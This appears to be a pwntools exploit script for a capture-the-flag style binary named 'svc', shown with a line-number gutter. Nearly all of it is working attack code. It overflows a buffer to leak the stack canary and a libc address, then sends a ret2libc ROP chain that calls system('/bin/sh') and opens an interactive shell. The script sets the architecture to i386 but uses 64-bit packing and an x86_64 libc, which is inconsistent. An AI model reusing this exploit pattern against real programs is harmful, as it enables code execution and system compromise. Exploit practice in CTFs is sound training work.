1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * import sys
pty = process.PTY context(os='linux', arch='i386', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1]
proc = process("./svc") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sd(x): return proc.send(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
def feed(x): sla(b'>>', b'1') sa(b'>>', x)
def show(): sla(b'>>', b'2')
gscript = ''' b main b * 0x400CCE b * 0x400ddf c ''' if mode == '-d': gdb.attach(proc, gdbscript=gscript)
ret = 0x4008b1 rdi_ret = 0x400ea3
feed(b'h'*(168 + 1)) show() ru(b'h'*169) canary = u64(ru(b'\n').strip(b'\x01\n').rjust(8, b'\x00')) success(hex(canary))
feed(b'h'*184) show() start_main = ga() + 0xc0 - 0x8a libc_base = start_main - libc.sym['__libc_start_main'] success(hex(libc_base))
system = libc_base + libc.sym['system'] str_binsh = libc_base + next(libc.search(b'/bin/sh'))
feed(b'h'*168 + p64(canary) + b'h'*8 + p64(ret) + p64(rdi_ret) + p64(str_binsh) + p64(system)) sla(b'>>', b'3')
pi() pause()
|